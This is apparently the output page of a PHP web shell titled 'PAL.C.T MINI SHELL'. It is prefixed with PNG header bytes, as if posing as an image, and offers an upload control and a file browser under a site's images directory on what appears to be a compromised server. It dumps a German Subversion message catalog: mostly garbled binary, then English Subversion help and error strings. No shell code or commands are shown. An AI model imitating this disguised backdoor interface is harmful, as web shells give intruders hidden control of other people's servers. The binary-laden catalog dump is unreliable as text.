php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/locale/de/LC_MESSAGES/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/locale/de/LC_MESSAGES/subversion.mo

,>a
<|C%))S"rE,0E
Vdڪ7Lbx) ,v%ʭ٭		(4F$X}
#®!!='Lt%*3ٯ 
..]y#+ݰ"":]&z Rұ7%+]'0(@.L?{02%'EAm@+.*Fq%"͵"%6,T1LW"X{$$η'&!Bidθ8.)Jt-̹%#>&Ov4-$0-?3mB(!
&/V.v'&ͼ+@$W1|0,߽"$8G	ľܾ2*)To6~CC;=y)>K$K1p//74.l)J)3:Dn/-.<@A}< *HYk!t<!B5x>;09A0{9262i).8*
0;GZ(m&4'
5Po2$<5920D+u&1$)AI-'62#K,o41-418f<.,68'o90.(1,Z66%(5D,z.$$+PeuF?:74r)B>Ql0~ABA4v	

 {5;	NE%$&Dk<.3I'}22#/G ^#"4??;*{C&F$f'(.Wi <-FY.p+?"%.T7h"6UqIK<$786o(9O&a")5#P t"	R |s,Jc'$$60"g$ $2&Gn&,BY o &'=%W}>2%L7r>>?@=O-L<3G'O-}&)/ =[1vf<.L7{ !d)wREC:>~Gq&wQ/9 WZ#% -	<K	;	;	;
<<
{y
A
67'n#J

e!



"

r&tP88TcVAHR@?
^l2.0<C26/2f*-.":1]6(0  @#a783%4YX/5Pf={$.u,9%$6A=[;A2, 9_ 1  O $7!u\!5!("%1"W",v"%""."#$#(##$*-$X$s$&$$D&)))**0*K*c*u**!** *++7+S+pi+!+$+$!,F,c,/*34'4
44B4#U4&y4%4>45& 5G5
W5
e5s5S5a5<6#\6z66G7U_7:7/79 8-Z8,8.8&839<?9$|9999+9:&7:^:y::};=$B!5B)WB1B$B.B@CBHC'CLCeG*fH1HHH6H"I!BIdI II2I+IJ&,J:SJ*JJJKKKK+K5LDLcLLL%L&LL+M1HMzM$N#=N&aN%N%NNN-O?O/ZO)OOO4O0&PWP'qPPPP"PQ  Q%AQ"gQ)Q&Q)Q'R!-RORlRR#RWR#SS,S)T0CTtTTTT-T.UJU#iUUU$UU%U"$V8GV7VV0V0V/W*OW:zW&W W/W-X:KXXX!X9X
Y#YCY[YvYYYY*YT
ZSbZVZB
[UP[J[L['>\,f\'\\"\ \&]#A]ne]@]^&2^#Y^0}^S^_/_'K_s_%_____`'-`#U`!y`7``&`=aAQa=a'a+a3%b&Ybb;bbb)c"5c%Xc~ccccc)d6-d#ddbded5Qe)e%e+e1f/5fef0f'fffgC*g#ng<g>g/h>h]h4qh!hh hi*%i+Pi|ii+i*i7j8jMjjjzj)jjjjk%kEk Xk'ykhke
lplMm"_mm6mm3m'nIAn%nnn<n7*obo vo*o-o!o5p2Hp&{p4p4p)q*6q+aqq2q/qr/*r ZrA{r<rIr.Ds4ss6sjsJtct|tt%tt"t#u1:ulu2yuuBuDv=Fv:v/v4v4$wYw!rww,www*x ;x\xwx,xxx-x
y!!yCy6Yyy1y,y!z.zCzXzlz&zzzzz
{*${ O{cp{|0,0Mi!,Ҁ8׀*:!J(lDځ)$A4Rӂ,B C9}EЄ.#E#i#܅#$>>}؆(*/ZKwÇه28$NLsE  '1H%z!%‰92"-U,E5{-(ɋ*%)C+m&($%4P%f.,Ս !#'E*m%+-/)*Y*0
0A7dyAސA 1b7̑Cғ,RCL3]&u-ĕ(#	?.I+x!&Ɩ$-+Yo$$,՗?'["'ǘ '-'U}+1֙"G>E̚'+S/g,"ě8- 0N2Ҝ p4]87<Xt;͞K	,U #ǟ(K-t&۠  >_qD
@RV0'5%]+3
NYy,!Х0&Pw(('?
#J;n1ܧ($B.g:$#3I`w$9ѩ)	HR&q+ӪR, 2'S{"'ѻ46.'edN,Hju.&#6$Z< *=/U# D9/)iu6	@C6eL+*&	0#G(k&/6M&b5,.(0YvyWZV5	5?4u#%?%1O"&-*#N]8}=1&=9$>2c5
>!Xz&F+#=0nQ);e~A= &4G#|/-'(&HOJ+')7/a)&"<NB4(0 ??*Fj?
 2<EoGENU,;B3](|'V%~c/!8IZNSMGMh(j><:'Jr"&2$)+Ut*#1(0&Y"E	"4<RcH:<w/ APPLcCEY:EFh!<E.
f<?.TPg1=?(*h5"hPU-OB%`8911+7]$R*)(T&}QHT&,bSA$64L:'.H`~(
7	+8	3d		"	*	!
&%
 L
 m
]
R
^?fRnXPZ
Ks
$
?
$$%Io$&5 )%Jp0>3A+$m%&D?$d*'#R+M~'?+4;`2):$d$Z1]J0H!h #,1IYn6'8%`&'%%7)R |(&('>!^-] ,~* /0D6u')%:"`-*+%/Q..-!
/ I#j% (* S e "/'R'\l'~'(H(=q(?(B("2)
U)E`)#))?)**A*@+X+.x+++9+U,p,,>,3,!-9<-v--!-"---2.=K.R.1.!/G0/yx///+0+;00g0;0"001
%1.01_1u11!1*1+10'20X2722.2.3,63,c333$3#3444")4!L4n4-440441585J51e55"5,5"6(&6*O6%z66666667
7)7:7?72V7%7$7789-;<&#<'J<)r<<
<<<*<h=V=_=D>>M>'>)>#?/A?q?&?!????@@1@44@#i@@,@1@@2@,0A ]AV~A
A,AB),BVB*nB!B3BB-
C 8CYCyC!C0CCCD*DAD\DhzD DE$EXCEZEWEOFTjFxF.8GgGd{GGHH)HI$1I VIwIkIIkJ}JgK!L:LRL*nLLdLM8MLMbM~MMMMM*N/GN wNN?NeNPOWO}pOOP,+P!XPzP[P-P$Q5Q=QUQgQsQzQRStUQVtlVuW]WZUZ[S[$\9]T]6^^f_PP``bQdI=eOg4gnhF{h5hWhPi\i?j`jiDk6kk=lHlJm>jmhm\pvopqpXsRs2xJxex~xxxy\y\z\|zz*zR{`l{e{\3||||D~(GF&.т##$HX\./4
IWẅ́+n-ֆ
-0;"l7LJ*^ш	.0@(q
%lj%	/O3^'1ӊ? E3f&Ջ )#G)k*.ތ
5"aXQ83E?y4TBC\F9*4d3K͐]4w1ݑ,&&S0z,/ؒ"5+4aer*o.*0,-]({0RD13ɖ;X$n.—#ݗ6U<j3*ۘ<ICOIݙ.''V,~%5њ-,5%b3-ٛ98A4z&*֜CEYan{Sҝ;&!bCLٞS&Kz'Ɵ0R[r6Π?dE\56=@t75_#5?R;L6/LJ<E)ͩ:2DW1`B#ժ#?<%|AU3:DnFC(>QgM3HְNnα<%=D(3߲" ,$(QzPCFYۼ5HDG9սA+QM}r˾9>Cxkf(:D6?F3>IWC=9==Q;=<	BF?>G/P:L-<6s/"+/+[FCWWj1)F<&8IG[F)#3E[&pG"$:`_M%i"/,62F%y&("J1 |$<<H<K5&.&L)s+<HKO8l)A%k;.0$-+R~'44!F&h)*WW&v&75NO68F+!r))7"7.Z')&(;edh63)j<%BE:*)'%="]("""5%Hn#-@<.\,$+)'D l4+)'+Q4}6+1/G8wJ22.1a0;N-O(}6!&*&$Q#v!+(%,N>{>J2D w"$"L\P=(M1HLQg;h(<^;-ui)E	8O9,(!1:lDR:K1,-8f+Z(`ON4u9GWOzHj61CV`YULgKUI6/6f9!#l,-2)>,		
F-
Et
E
VkWHUHbH
0
GO
4
6
<)BUlP3DGE)CH[0@%&<%c$WXKsLs*7J )kEC-,AD-GrMS#:wJ>)<cf*?3/	-94gF:904%*Z!1"> :X "
=&'K&s&!&&%&!&)'<'U'&t''%'''#($C(rh(4(+))<)f));7-;s1	1111/1)2"F2Ki2"242
33,3<3aO3o3!4 ?4`44P4oN575057'69_6,6/6563,7D`727 778?28r818"8(8J9Z:}9<A%A2AK0B+|B3B?B>C1[C9CG<I2II(J87J)pJ0J(J.J#KI@K2KK-K=L6CL!zLL$~MMM!M3MQ*N.|N-N'N1O?3OBsO-O8OHPfP"-Q*PQ?{Q?Q?Q%;R1aRIRR>R66S/mS.SES;T,NT>{TT"T+T4)U(^U,U3U8U?!V4aV<V3V-W;5W3qW!W/WmWeX#bY?Y6YRY1PZ/Z1Z+Z;[>L[%[3[/[*\5@\v\3\"\>\9,]f]B]B]#^4)^6^^3^1^<^#8_H\_*__"_H`K`+b`` `1`-`5*a/`aEanapEb~b`5clcfdrjd0d6e,Ee!re(e)e+e-fAfZf'8g3`g1gFgs
h hXh>h":i.]i.iii(i#j4Bj*wj'jCjk9(kFbkLkLk/Cl5slJl7l,mMKm"m#m7m/n(Hn%qn!nnn'n*o5Ho1~oso$p=p<p5'q;]q=q4q rH-r,vr"rrrTs1XsQsOs8,tettHt6t!u'<u%du0u.uu
v< v/]v9vvvw)w:@w%{wwww/wx&.x7Uxvxyy]`z)zz:{C{5Y{){S{1
|?|&_|L|X|,})F}8p}5}2}9~;L~0~K~K;QB><.3k)6ɀ&K'IsF;3@?tm""=` z@&܃+-/6]9Y[ORR6QMLֆ#*?j6" ݇<$;`~<̈10*EpE!ω:6,'c ֊)+!M`x&BÍBB5%\["ԑ0(>0o~%(֒dd=+8#:$^9sO!`:%7U7d%*—"!(0J0{$Hј2D^|(7ٙ7vI1-V:1;ÛeUe''4(@(i,@@;A%}5 #)8^b&83!5U0461(3Z/0$,-:Z;,5!Q9s4:7/9g44֤:	FPaBqGmPjP4>AdVA<_~VުO5u-)).S1,&	/:B)}/׭2@(i*'5ڮ3%DOj/-,1Bt5.ʰ3-,HGuE$!\FZ10.Et/<г5
+CBo6AC+'o͵ߵjYXN\,d1) 1J|6	5@#v#@"=`y[IWec:550&;Ws$&KWX+8*2c+,+H7+JA9 St3< C=508/T*=9	?)I,s*(8r)%/)+U/o2FH7b#z1B1/=G!"H *4_7|2/
B:D}4I~K|7,y0j+,>*QC|I.;Jj@<5P$%&4WLM&Jt3'8R4G?|e,%MA"_ASL e :@[7?"78V@+",.V[3
TIke
#76*nY1?+OE5-*U$az3/1@7r1+&M/r}J7;;s\\a@lW0g%!0P&
w"!Z%f4
7>V 2w-"1/uCY!`p jodl&tBmJNZJ *  ) (!@8!(y!,!!(!@"(X"$"C"/")#0D#Vu####$ '$BH$k$h$7`%%6K&G&U& 'Q'H'JB(^(J(K7)i)E)N3*9*j*_'+D+m+m:,2,N,L*-)w-9-1-g
.du.9./`4/ /+/G/Q*0H|0;0910;1(l1`1715.24d22e2T3n3+44F;55%55J5<06m646&6667!17S7l77.77P7;$8;`85828:92@9?s99999':l:|;;f<}<r<tr=a=5I>A>$>0>0?.H?8w?*?D?& @-G@u@K@F@?'AGgA(A*A-B]1BTB+BAC.RCCC.CC_CXED1DDD0E9FE EE7E%E&F4@F+uF/F0F&G$)GtNGIG[
H!iHH)HH+H0I$PIuI+I'I@I*J!EJ gJ JJJJ(J8#K?\K2K;KL='L+eL/L&L-L1M0HM-yM<M/M#N&8N!_NN
N N'NCN3O>O2	P<P"ZP<}P1P7P"$Q.GQ.vQQ)Q#Q.R@R!WR&yR:R;RAS@YS@S?S.T#JT-nT/T&T.T8"U,[U+U0UUV/^H^g^^<_b_Q_```3aFaOUa2a&aKaKb`cHoc1c/c&dAdQ^d]de+eNJe9e*eKe
Jf!Xfzf+ff fBgMEgzg7h,Fhfsh}hXiei3i,i:iBj0_jjjj7j!k:k(Uk+~k;k:kG!lFilAll9
m>Gm=mBm-n5n$In(nnn	nn&n%noQ"otoDo&oFo3p#Bp`fp'p,p'q-Dq6rq3q1qr
%r0rFr)Or.yr&rrrr#rYsSqs4s0s
+u9v&x8y#Uy*yyBy)yz z >z5_zwzc
{lq{L{U+|.|7||m}t}Y}!}~,~=~E~^~|~K~>~WZk	_W0d	Wp5#Ł*/ED'D!"<#[X
؃&!#Hkl$؄%!#~Ezą?+\IAՇw5)2̉ 2 )S}mt Rs=W	%a!ێ&j82?֏%<GXt
/ P,*$SO5ْi8O'	ؓ%(RN^K~)ksMlXSarSlӤZ@M([8EEɮ6pFjPp|~:lHwLP
D^joڷd*	$! #BbVAsAA96Smujna;>	3$^,Il#ac,@`2b_UepEcLh5pVQ=cE,S63(L;zlCq3zA'&uFGK|!516-`i7Nj)Zh9HDX#QiB&2*rzzUx
W>&%'5yCNJ`h<kqH;w;p?SwOvt%ra{Wmaj*-bO}t
A{es^i7xIJn$F5}FMSg?qLK[:"JJa/2u9LU"=D][*g]S$^%oI0!@[Tb	b+fVK	.v(TMKy!]W6VRgv X!zXrfC'{]GM?U(:
G2;u/(d Yf1p;uX`0RRw[\HvPe<6jDQK8.\"TWt+mmu#)CG'?
&.nXcZ~4{eC^Sr:Pe|["SD@|_M.~o?Y613x`By3g?#kLTUI kl
O~
~~v%0&N!\t7bA_W8^P30qT'&#ZLV<h8sq\,Z/oFIw;>g_ -k3:(d=kP4'jxQ42NbC_ 6U<d"|[oBD5YBrnV<k@/9Y1LH9FZwEy|=G7d1j0}}o-+lh##,W5bjX(]$tHJgqWAf%S5]8vw0N;9hef,*p/4s{"+{z_2zDeZ
+I
$6(@\D&`v.QL:<^:+\Zm+q>4XV[9cTpTam
ym#:
x
cBm>C^Zm8Ui
aY4yfFzE}~A`r=
gFhOu2*Y{+|
KV/a )	49nYI@Uh}%}Yi?,edkRq/9wQ
at!815{|g4)s7Wr7 EA	*SRl?nBpQ."FjHB_EEMu~G/lKM}xcR@-C<3@T!nN*=A\xy)s7M`fJ.Q!Ilufn:	0En]bDXo)^Mi	O1>Ow--.[sJ POt2y0N'<Oddci
Gs|k>GJ7_vPR%>=,o")~pjV$K\&]*HPlP-A=R(x%)toN;	B$sHi'6$8r>81d
  (e)  edit             - change merged file in an editor
  (df) diff-full        - show all changes made to merged file
  (r)  resolved         - accept merged version of file

  (dc) display-conflict - show all conflicts (ignoring merged version)
  (mc) mine-conflict    - accept my version for all conflicts (same)
  (tc) theirs-conflict  - accept their version for all conflicts (same)

  (mf) mine-full        - accept my version of entire file (even non-conflicts)
  (tf) theirs-full      - accept their version of entire file (same)

  (p)  postpone         - mark the conflict to be resolved later
  (l)  launch           - launch external tool to resolve conflict
  (s)  show all         - show this list


--- Changelist '%s':

------- Committed new rev %ld (loaded from original rev %ld) >>>


------- Committed revision %ld >>>


Committed revision %ld.

Cyrus SASL authentication is available.

Error: no prefixes supplied.

Fetching external item into '%s'

Global options:

Log message unchanged or not specified
(a)bort, (c)ontinue, (e)dit:

Performing status on external item at '%s'

Recovery completed.

Upgrade completed.

Valid options:

Warning: %s
     * adding path : %s ...     * deleting path : %s ...     * editing path : %s ...     * replacing path : %s ...   %ld => (dropped)
   Merged %s:r%s%s   Reverse-merged %s:r%s%s  (p)  postpone    - resolve the conflict later
  (mf) mine-full   - accept pre-existing item (ignore upstream addition)
  (tf) theirs-full - accept incoming item (overwrite pre-existing item)
  (h)  help        - show this help

  - handles '%s' scheme
  Property conflicts: %u
  Skipped paths: %u
  Text conflicts: %u
  Tree conflicts: %u
 (%a, %d %b %Y) (from %s:%ld) - The certificate has an unknown error.
 - The certificate has expired.
 - The certificate hostname does not match.
 - The certificate is not issued by a trusted authority. Use the
   fingerprint to validate the certificate manually!
 - The certificate is not yet valid.
 ARG done.
 with no output. with output:
 | %d line | %d lines"%s": unknown command.

%a %b %e %H:%M:%S %Y%b %d  %Y%b %d %H:%M%s	(revision %ld)%s	(working copy)%s blocked by %s hook (exit code %d)%s hook failed (exit code %d)%s of '%s'%s of '%s': %d %s (%s://%s)%s, version %s
   compiled %s, %s

%s:  (Not a valid URL)

%s:  (Not a versioned resource)

%sProperty changes on: %s%s%swarning: %s
'%s'
is not the same repository as
'%s''%s' already exists'%s' already exists and is in the way'%s' already exists and is not a directory'%s' contains invalid filesystem format option '%s''%s' does not appear to be a URL'%s' does not appear to be a working copy path'%s' does not define '%s()''%s' does not exist'%s' does not exist in revision %ld'%s' does not have a URL associated with it'%s' ends in a reserved name'%s' exists and is non-empty'%s' exists and is not a directory'%s' has an unrecognized node kind'%s' has local modifications'%s' has lock token, but no lock owner'%s' has no URL'%s' has no ancestry information'%s' hook failed (did not exit cleanly: apr_exit_why_e was %d, exitcode was %d).  '%s' hook succeeded, but error output could not be read'%s' in revision %ld is an unrelated object'%s' is a URL when it should be a path
'%s' is a URL, but URLs cannot be commit targets'%s' is a URL, probably should be a path'%s' is a directory, and thus cannot be a member of a changelist'%s' is a reserved name and cannot be imported'%s' is a subdirectory of an existing repository rooted at '%s''%s' is a wcprop, thus not accessible to clients'%s' is already a working copy for a different URL'%s' is already under version control'%s' is an URL when it should be a path'%s' is in the way of the resource actually under version control'%s' is marked as absent, so it cannot be scheduled for addition'%s' is neither a file nor a directory name'%s' is not a URL'%s' is not a directory'%s' is not a directory in filesystem '%s''%s' is not a file'%s' is not a file in filesystem '%s''%s' is not a file in revision %ld'%s' is not a file or directory'%s' is not a valid --accept value'%s' is not a valid --show-revs value'%s' is not a valid EOL value'%s' is not a valid Subversion property name'%s' is not a valid administrative directory name'%s' is not a valid depth; try 'empty', 'files', 'immediates', or 'infinity''%s' is not a valid depth; try 'exclude', 'empty', 'files', 'immediates', or 'infinity''%s' is not a valid revision range'%s' is not a working copy'%s' is not a working copy directory'%s' is not locked'%s' is not locked in the repository'%s' is not locked in this working copy'%s' is not the root of the repository'%s' is not under version control'%s' is not under version control and is not part of the commit, yet its child '%s' is part of the commit'%s' is out of date'%s' is scheduled for addition within unversioned parent'%s' is scheduled for addition, but is missing'%s' isn't in the same repository as '%s''%s' locked by user '%s'.
'%s' must be from the same repository as '%s''%s' not found'%s' not found in filesystem'%s' not versioned, and not exported
'%s' path not found'%s' refers to a directory'%s' returned %d'%s' to '%s' is not a valid relocation'%s' unlocked.
'%s' was not found in the repository at revision %ld'%s' was not present on the baseline resource'%s' was not present on the resource'%s@%ld' must be ancestrally related to '%s@%ld''--new' option only valid with '--old' option'--xml' option only valid with '--summarize' option'DAV:baseline-collection' was not present on the baseline resource'get-deleted-rev' REPORT not implemented'get-deleted-rev' not implemented'get-file-revs' REPORT not implemented'get-file-revs' not implemented'get-location-segments' REPORT not implemented'get-location-segments' not implemented'get-locations' REPORT not implemented'get-locations' not implemented'incremental' option only valid in XML mode'stat' not implemented'verbose' option invalid in XML mode'with-all-revprops' option only valid in XML mode'with-no-revprops' option only valid in XML mode'with-revprop' option only valid in XML mode(Binary files differ)

(R)eject or accept (t)emporarily? (R)eject, accept (t)emporarily or accept (p)ermanently? (invalid date)(local)(no author)(no date)(s) show all options: * Dumped revision %ld.
* Verified revision %ld.
,
        (mc) mine-conflict, (tc) theirs-conflict,
        (mf) mine-full, (tf) theirs-full, (df) diff-full, (e) edit, (r) resolved--- Merging (from foreign repository) r%ld into '%s':
--- Merging (from foreign repository) r%ld through r%ld into '%s':
--- Merging differences between foreign repository URLs into '%s':
--- Merging differences between repository URLs into '%s':
--- Merging r%ld into '%s':
--- Merging r%ld through r%ld into '%s':
--- Reverse-merging (from foreign repository) r%ld into '%s':
--- Reverse-merging (from foreign repository) r%ld through r%ld into '%s':
--- Reverse-merging r%ld into '%s':
--- Reverse-merging r%ld through r%ld into '%s':
-----------------------------------------------------------------------
ATTENTION!  Your passphrase for client certificate:

   %s

can only be stored to disk unencrypted!  You are advised to configure
your system so that Subversion can store passphrase encrypted, if
possible.  See the documentation for details.

You can avoid future appearances of this warning by setting the value
of the 'store-ssl-client-cert-pp-plaintext' option to either 'yes' or
'no' in '%s'.
-----------------------------------------------------------------------
-----------------------------------------------------------------------
ATTENTION!  Your password for authentication realm:

   %s

can only be stored to disk unencrypted!  You are advised to configure
your system so that Subversion can store passwords encrypted, if
possible.  See the documentation for details.

You can avoid future appearances of this warning by setting the value
of the 'store-plaintext-passwords' option to either 'yes' or 'no' in
'%s'.
-----------------------------------------------------------------------
--This line, and those below, will be ignored----accept=%s incompatible with --non-interactive--auto-props and --no-auto-props are mutually exclusive--depth and --set-depth are mutually exclusive--depth cannot be used with --reintegrate--encoding option applies only to textual Subversion-controlled properties--force cannot be used with --reintegrate--reintegrate cannot be used with --ignore-ancestry--reintegrate cannot be used with --ignore-ancestry or --record-only--reintegrate cannot be used with --record-only--relocate and --depth are mutually exclusive--trust-server-cert requires --non-interactive--verbose cannot be used with --revprop or --strict or --xml--with-all-revprops and --with-no-revprops are mutually exclusive--with-revprop and --with-no-revprops are mutually exclusive-c and -r are mutually exclusive-r and -c can't be used with --reintegrate.merge-left.r%ld.merge-right.r%ld.working; run 'svn update' to complete it<<< Started new transaction, based on original revision %ld
<<<<<<< MINE (select with 'mc')<delta-pkg> is missing ancestry>>>>>>> THEIRS (select with 'tc')A MERGE response for '%s' is not a child of the destination ('%s')A checksum mismatch occurredA conflict in the working copy obstructs the current operationA file external cannot overwrite an existing versioned itemA log message was given where none was necessaryA path under version control is needed for this operationA problem occurred; see other errors for detailsA report cannot be generated because no data was suppliedA repository hook failedA representation vanished or changed between readsA working copy merge source needs an explicit revisionARG (some commands also take ARG1:ARG2 range)
                             A revision argument can be one of:
                                NUMBER       revision number
                                '{' DATE '}' revision at start of the date
                                'HEAD'       latest in repository
                                'BASE'       base rev of item's working copy
                                'COMMITTED'  last commit at or before BASE
                                'PREV'       revision just before COMMITTEDAborting commit: '%s' remains in conflictAborting commit: '%s' remains in tree-conflictAccess scheme mixtures not yet supported ('%s' and '%s')Activity not foundAddedAdded: %s
Added: %s%sAdding         %s
Adding  (bin)  %s
Adding a directory failed: %s on %s (%d)All authentication providers exhaustedAll non-relative targets must have the same root URLApache got a malformed URIApache has no path to an SVN filesystemApply the differences between two sources to a working copy path.
usage: 1. merge sourceURL1[@N] sourceURL2[@M] [WCPATH]
       2. merge sourceWCPATH1@N sourceWCPATH2@M [WCPATH]
       3. merge [-c M[,N...] | -r N:M ...] SOURCE[@REV] [WCPATH]

  1. In the first form, the source URLs are specified at revisions
     N and M.  These are the two sources to be compared.  The revisions
     default to HEAD if omitted.

  2. In the second form, the URLs corresponding to the source working
     copy paths define the sources to be compared.  The revisions must
     be specified.

  3. In the third form, SOURCE can be either a URL or a working copy
     path (in which case its corresponding URL is used).  SOURCE (in
     revision REV) is compared as it existed between revisions N and M
     for each revision range provided.  If REV is not specified, HEAD
     is assumed.  '-c M' is equivalent to '-r <M-1>:M', and '-c -M'
     does the reverse: '-r M:<M-1>'.  If no revision ranges are
     specified, the default range of 0:REV is used.  Multiple '-c'
     and/or '-r' options may be specified, and mixing of forward
     and reverse ranges is allowed.

  WCPATH is the working copy path that will receive the changes.
  If WCPATH is omitted, a default value of '.' is assumed, unless
  the sources have identical basenames that match a file within '.':
  in which case, the differences will be applied to that file.

  NOTE:  Subversion will only record metadata to track the merge
  if the two sources are on the same line of history -- if the
  first source is an ancestor of the second, or vice-versa.  This is
  guaranteed to be the case when using the third form listed above.
  The --ignore-ancestry option overrides this, forcing Subversion to
  regard the sources as unrelated and not to track the merge.
Apply-textdelta already activeApply-textdelta not activeAre all the targets part of the same working copy?Argument to --limit must be positiveAssertion failureAssociate (or dissociate) changelist CLNAME with the named files.
usage: 1. changelist CLNAME TARGET...
       2. changelist --remove TARGET...
At least one property change failed; repository is unchangedAt least one revision (r%ld) not yet merged from '%s'At least one revision must be non-local for a pegged diffAt revision %ld.
Attempt to add tree conflict that already existsAttempt to change immutable filesystem nodeAttempt to deltify '%s' against itselfAttempt to fetch capability '%s' resulted in '%s'Attempt to pop empty WC unwind stackAttempt to remove or recreate fs root dirAttempt to set wc property '%s' on '%s' in a non-commit operationAttempt to unlock with non-empty unwind stackAttempted command in administrative dirAttempted merge tracking info change on immutable nodeAttempted mergeinfo count change on immutable nodeAttempted removal of immutable nodeAttempted to clone child of non-mutable nodeAttempted to create a node with an illegal name '%s'Attempted to create entry in non-directory parentAttempted to create entry that already existsAttempted to delete a node with an illegal name '%s'Attempted to delete entry '%s' from *non*-directory nodeAttempted to delete entry '%s' from immutable directory nodeAttempted to get checksum of a *non*-file nodeAttempted to get length of a *non*-file nodeAttempted to get textual contents of a *non*-file nodeAttempted to lock an already-locked dirAttempted to make a child clone with an illegal name '%s'Attempted to open node with an illegal name '%s'Attempted to open non-existent child node '%s'Attempted to set entry in immutable nodeAttempted to set entry in non-directory nodeAttempted to set textual contents of a *non*-file nodeAttempted to set textual contents of an immutable nodeAttempted to write to non-transactionAttempted to write to readonly SQLite dbAttempting restricted operation for modified resourceAttempting to commit to a URL more than onceAttempting to delete nonexistent property '%s'Authentication error from server: %sAuthentication failedAuthentication realm: %s
Author name cannot contain a newlineAuthorization failedBad ID in cacheBad URL passed to RA layerBad copyfrom arguments receivedBad database version: compiled with %d.%d.%d, running against %d.%d.%dBad database version: got %d.%d.%d, should be at least %d.%d.%dBad merge; ancestor, source, and target not all in same fsBad merge; target '%s' has id '%s', same as ancestorBad parent pool passed to svn_make_pool()Bad property nameBad property name: '%s'Base checksum mismatch on '%s':
   expected:  %s
     actual:  %s
Baseline incorrectBerkeley DB deadlock errorBerkeley DB errorBerkeley DB error for filesystem '%s' while %s:
Berkeley DB error for filesystem '%s' while closing environment:
Berkeley DB error for filesystem '%s' while creating environment:
Berkeley DB error for filesystem '%s' while opening environment:
Bogus ID '%s' in cacheBogus URLBogus UUIDBogus dateBogus filenameBogus mime-typeBogus revision information givenBogus revision reportBogus server specificationBring changes from the repository into the working copy.
usage: update [PATH...]

  If no revision is given, bring working copy up-to-date with HEAD rev.
  Else synchronize working copy to revision given by -r.

  For each updated item a line will start with a character reporting the
  action taken.  These characters have the following meaning:

    A  Added
    D  Deleted
    U  Updated
    C  Conflict
    G  Merged
    E  Existed

  A character in the first column signifies an update to the actual file,
  while updates to the file's properties are shown in the second column.
  A 'B' in the third column signifies that the lock for the file has
  been broken or stolen.

  If --force is used, unversioned obstructing paths in the working
  copy do not automatically cause a failure if the update attempts to
  add the same path.  If the obstructing path is the same type (file
  or directory) as the corresponding path in the repository it becomes
  versioned but its contents are left 'as-is' in the working copy.
  This means that an obstructing directory's unversioned children may
  also obstruct and become versioned.  For files, any content differences
  between the obstruction and the repository are treated like a local
  modification to the working copy.  All properties from the repository
  are applied to the obstructing path.  Obstructing paths are reported
  in the first column with code 'E'.

  Use the --set-depth option to set a new working copy depth on the
  targets of this operation.  Currently, the depth of a working copy
  directory can only be increased (telescoped more deeply); you cannot
  make a directory more shallow.
Can only crop a working copy with a restrictive depthCan only crop directoriesCan't accept client connectionCan't add '%s' to a parent directory scheduled for deletionCan't add '%s' to deleted directory; try undeleting its parent directory firstCan't allocate FS mutexCan't append '%s' to '%s'Can't bind server socketCan't calculate requested dateCan't calculate the request body sizeCan't change perms of file '%s'Can't change working directory to '%s'Can't check directory '%s'Can't check path '%s'Can't chmod '%s'Can't close directory '%s'Can't close file '%s'Can't close prototype revision lockfile for transaction '%s'Can't close streamCan't connect to host '%s'Can't convert module path to UTF-8 from UCS-2: '%s'Can't convert string from '%s' to '%s':Can't convert string from '%s' to native encoding:Can't convert string from native encoding to '%s':Can't convert string to UCS-2: '%s'Can't copy '%s' to '%s'Can't create DSO mutexCan't create FSFS txn list mutexCan't create FSFS txn-current mutexCan't create FSFS write-lock mutexCan't create a character converter from '%s' to '%s'Can't create a character converter from '%s' to native encodingCan't create a character converter from native encoding to '%s'Can't create an entry for a forbidden nameCan't create an entry with a reserved name while trying to add '%s'Can't create cache mutexCan't create directory '%s'Can't create null stdout for hook '%s'Can't create pipe for hook '%s'Can't create process '%s' attributesCan't create server socketCan't create symbolic link '%s'Can't create threadCan't create threadattrCan't create tunnelCan't detect MIME type of non-file '%s'Can't determine the native path encodingCan't expand timeCan't fetch FSFS shared dataCan't find a temporary directoryCan't find a working copy pathCan't find an entryCan't find parent directory's entry while trying to add '%s'Can't flush file '%s'Can't flush file to diskCan't flush streamCan't get address infoCan't get attribute information from file '%s'Can't get attribute information from streamCan't get default file perms for file at '%s' (file stat error)Can't get entries of non-directoryCan't get exclusive lock on file '%s'Can't get file nameCan't get file perms for file at '%s' (file stat error)Can't get hostnameCan't get local hostnameCan't get module file nameCan't get passwordCan't get shared lock on file '%s'Can't get socket timeoutCan't get username or passwordCan't get working directoryCan't grab DSO mutexCan't grab FS mutexCan't grab FSFS mutex for '%s'Can't grab FSFS txn list mutexCan't hide directory '%s'Can't increment mergeinfo count on *file* node-revision %%s to %%%s (> 1)Can't increment mergeinfo count on node-revision %%s to negative value %%%sCan't iterate a memcached cacheCan't lock cache mutexCan't lock charset translation mutexCan't make directory '%s'Can't make pipe read handle non-inherited for hook '%s'Can't make pipe write handle non-inherited for hook '%s'Can't manipulate current dateCan't move '%s' to '%s'Can't move source to destCan't open '%s'Can't open directory '%s'Can't open file '%s'Can't open file at '%s'Can't open stderrCan't open stdinCan't open stdio fileCan't open stdoutCan't parse lock/entries hashfile '%s'Can't read contents of linkCan't read directoryCan't read directory '%s'Can't read directory entry in '%s'Can't read file '%s'Can't read first line of format file '%s'Can't read from connectionCan't read length line in file '%s'Can't read length line in streamCan't read stdinCan't read streamCan't recode error string from APRCan't remove '%s'Can't remove directory '%s'Can't remove file '%s'Can't replace '%s' in deleted directory; try undeleting its parent directory firstCan't replace '%s' with a node of a differing type; the deletion must be committed and the parent updated before adding '%s'Can't restore working directoryCan't rewind directory '%s'Can't set access time of '%s'Can't set detached stateCan't set file '%s' read-onlyCan't set file '%s' read-writeCan't set permissions on '%s'Can't set position pointer in file '%s'Can't set position pointer in streamCan't set process '%s' child errfileCan't set process '%s' child errfile for error handlerCan't set process '%s' child inputCan't set process '%s' child outfileCan't set process '%s' cmdtypeCan't set process '%s' directoryCan't set process '%s' error handlerCan't set proplist on *immutable* node-revision %sCan't set text contents of a directoryCan't specify -c with --oldCan't split line into components: '%s'Can't start process '%s'Can't stat '%s'Can't store FSFS shared dataCan't tokenize command '%s'Can't truncate file 